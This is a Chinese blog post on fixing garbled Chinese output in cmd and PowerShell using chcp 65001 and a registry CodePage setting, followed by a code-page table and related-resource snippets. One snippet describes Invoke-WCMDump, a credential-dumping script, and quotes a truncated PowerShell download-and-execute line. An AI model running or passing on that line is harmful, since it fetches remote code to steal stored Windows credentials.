`

cmd/ powershell窗口汉字显示乱码

阅读更多

对于编译出的程序,在 cmd 和 power shell 运行时都不能正确显示汉字。 
网上查,可以再命令窗口修改: 
1、打开CMD.exe命令行窗口 
2、通过 chcp命令改变代码页,UTF-8的代码页为65001 
chcp 65001 
执行该操作后,代码页就被变成UTF-8了。

在当前窗口的确可以解决问题,但是重新打开的cmd窗口或者power shell 窗口仍然不能正确显示汉字



最终发现,cmd的属性设置可以在注册表中修改,实现一次修改永远有效: 
1. win+R 输入regedit 进入注册表 
2. 找到 HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe 如果 该项下已存在CodePage项,则把值改为十进制”65001”;如果不存在,在该项下新建一个 DWORD(32位值),命名为“CodePage”,值设为“65001” 
3. 重启cmd后生效 
4. 对于Power shell修改同样,只需在第2步修改 
%SystemRoot%_system32_WindowsPowerShell_v1.0_powershell.exe 下的项。


附录: 
MS-DOS为以下国家和语言提供字符集: 
  代码页描述 
  1258 越南语 
  1257 波罗的语 
  1256 阿拉伯语 
  1255 希伯来语 
  1254 土耳其语 
  1253 希腊语 
  1252 拉丁 1 字符 (ANSI) 
  1251 西里尔语 
  1250 中欧语言 
  950 繁体中文 
  949 朝鲜语 
  936 简体中文(默认) 
  932 日语 
  874 泰国语 
  850 多语种 (MS-DOS Latin1) 

  437 MS-DOS 美国英语

分享到:
评论

相关推荐

    OS + windows command / cmd / dos / Cygwin / UnxUtils / miniGW / powershell

    标题中的“OS + windows command / cmd / dos / Cygwin / UnxUtils / miniGW / powershell”涉及了多个在Windows环境下进行操作系统交互和开发的相关工具和技术。让我们逐一深入探讨这些概念。 1. **Windows ...

    exchange/powershell,Java调用powershell开通邮箱

    标题 "exchange/powershell,Java调用powershell开通邮箱" 暗示了这是一个关于使用Java编程语言调用PowerShell脚本在Exchange服务器上创建邮箱的教程或项目。Exchange是微软提供的一款企业级电子邮件服务器软件,而...

    解决win10shift+右键显示在此处打开powershell而不是命令窗口的问题.docx

    然而,部分用户可能会遇到这样的问题:即在进行Shift+右键操作后,默认显示的是打开PowerShell窗口而非传统的命令提示符窗口(CMD)。这对于习惯使用CMD的用户来说可能不太方便。本篇文章将详细介绍如何解决这一问题...

    批处理/powershell脚本连接局域网打印机,并设置为默认打印机

    1、采用批处理/powershell脚本的方式连接网络打印机 2、适用于公司很多打印机的场景,需要管理员经常手动去处理打印机连接的问题 3、脚本可根据不同的打印机IP待弹窗弹出后手动填入即可 4、脚本示例为佳能lbp232型号...

    shellcmd_v2.1:添加右键菜单项以快速打开CMD/命令提示符/命令行/命令窗口/DOS

    标题“shellcmd_v2.1:添加右键菜单项以快速打开CMD/命令提示符/命令行/命令窗口/DOS”涉及的是一个实用工具,它通过批处理技术为Windows操作系统添加了一个功能,允许用户在桌面、文件夹或任何文件上右键点击,快速...

    一键将win10桌面的“此处打开powershell” 替换为 “在此处打开cmd窗口”

    有些人不常用powershell,可以将右键的这个命令窗口菜单项替换为原cmd命令窗口菜单,原理是利用修改注册表,但直接运行reg命令会遇到权限问题,此exe自动会修改reg项权限为管理员账户所有,这样就可以正常修改注册表...

    cmd和powershell.doc

    cmd 和 PowerShell 知识点总结 cmd 和 PowerShell 是两种常用的 Windows 操作系统命令行工具,两者之间有着紧密的联系,但也存在着一定的区别。 cmd 的强大 cmd 是一个基本的命令行工具,提供了许多基本的命令和...

    修改shift+右键“在此出打开PowerShell窗口”为“在此出打开命令行窗口”

    微软一直在推动的Windows PowerShell中的...当然关于这点网上已经有一堆的修改教程,有靠谱的,有不靠谱的,为了方便操作,我写了一个批处理,能快速的切换shift+右键打开 PowerShell窗口或者cmd窗口,或者使二者共存。

    cmd执行powershell命令

    之前发现一个比较好玩的代码,就是可以查询EventLog中的蓝屏是否存在,命令是找到了,但是我希望在CMD上运行,可百度提供了一些办法,但是方法过旧,便自己尝试一下,发现的一个好的方法

    [注册表]Windows10文件夹内Shift+右键菜单添加打开管理员Powershell窗口

    Win10 系统通过双击本注册表项来合并注册表,可以实现在文件夹内(包括在桌面)通过 Shift+鼠标右键在当前位置打开管理员 Powershell 窗口。 修改后效果: 以桌面为例,通过Shift+鼠标右键,会多出来一个“在此处...

    解决cmd命令行中文输出乱码

    在执行完注册表脚本后,重启CMD窗口,然后尝试输入一些中文命令,如果中文能够正常显示,说明问题已经得到解决。 总结来说,解决CMD命令行中文乱码的问题,主要通过修改注册表中的编码设置,以及考虑升级命令行工具...

    PowerShell-7.1.7-win-x86.msi 来源: https://github.com/PowerShell/

    一种命令行外壳程序和脚本环境,除了具有基本的powershell功能外,还能为win系统引入100多个基本库,可以大大win vista,win 7这类系统的兼容性

    解决在pycharm运行代码,调用CMD窗口的命令运行显示乱码问题

    然而,有时在使用 PyCharm 运行代码时,尤其是当代码涉及到通过 `os.system()` 或其他方式调用CMD(命令提示符)窗口执行系统命令时,可能会遇到显示乱码的问题。这个问题主要出现在CMD窗口中显示的非ASCII字符,如...

    dotnet 6 命令行 cmd 设置输出英文解决中文乱码.rar

    总结,解决`.NET 6`命令行`cmd`中文乱码问题的关键在于调整CMD的编码和字体设置,确保其能够正确显示UTF-8编码的中文字符。对于开发人员来说,了解并掌握这些技巧有助于提高开发效率,避免因乱码问题带来的困扰。...

    PowerShell隐藏不显示窗口的多种方法

    ### PowerShell隐藏不显示窗口的方法详解 #### 一、概述 PowerShell作为一种强大的自动化工具,在Windows系统管理中扮演着重要角色。有时,为了更好地融入后台运行环境或者减少对用户的干扰,我们可能希望在运行...

    PowerShell-7.0.13-win-x86.msi 来源:https://github.com/PowerShell/

    一种命令行外壳程序和脚本环境,除了具有基本的powershell功能外,还能为系统引入100多个基本库,可以大大win vista,win 7这类系统的兼容性

    Invoke-WCMDump结合powershell进行密码获取

    从Credential Manager导出Windows凭据的Powershell脚本 https://github.com/peewpw/Invoke-WCMDump PS>Import-Module .\Invoke-WCMDump.ps1 PS>Invoke-WCMDump powershell.exe "IEX (New-Object Net.WebClient)....

    PowerShell-7.2.10-win-x86.msi 来源: https://github.com/PowerShell

    一种命令行外壳程序和脚本环境,除了具有基本的powershell功能外,还能为win系统引入100多个基本库,可以大大win vista,win 7这类系统的兼容性

    执行dos命令捕捉CMD实时输出,不显示cmd窗口

    当我们需要在后台执行DOS命令而不显示CMD窗口时,这通常涉及到批处理脚本和某些特定命令的使用。以下是一些相关的知识点: 1. **批处理脚本**: 批处理脚本是包含一系列DOS命令的文本文件,扩展名为`.bat`或`.cmd`...

    Windows PowerShell 精要

    Windows PowerShell 是微软为系统管理员和IT专业人员设计的一款强大命令行接口,旨在提供更高效、更灵活的系统管理和自动化操作工具。它引入了许多创新的概念和技术,显著提升了在Windows环境下的管理效率。 首先,...

Global site tag (gtag.js) - Google Analytics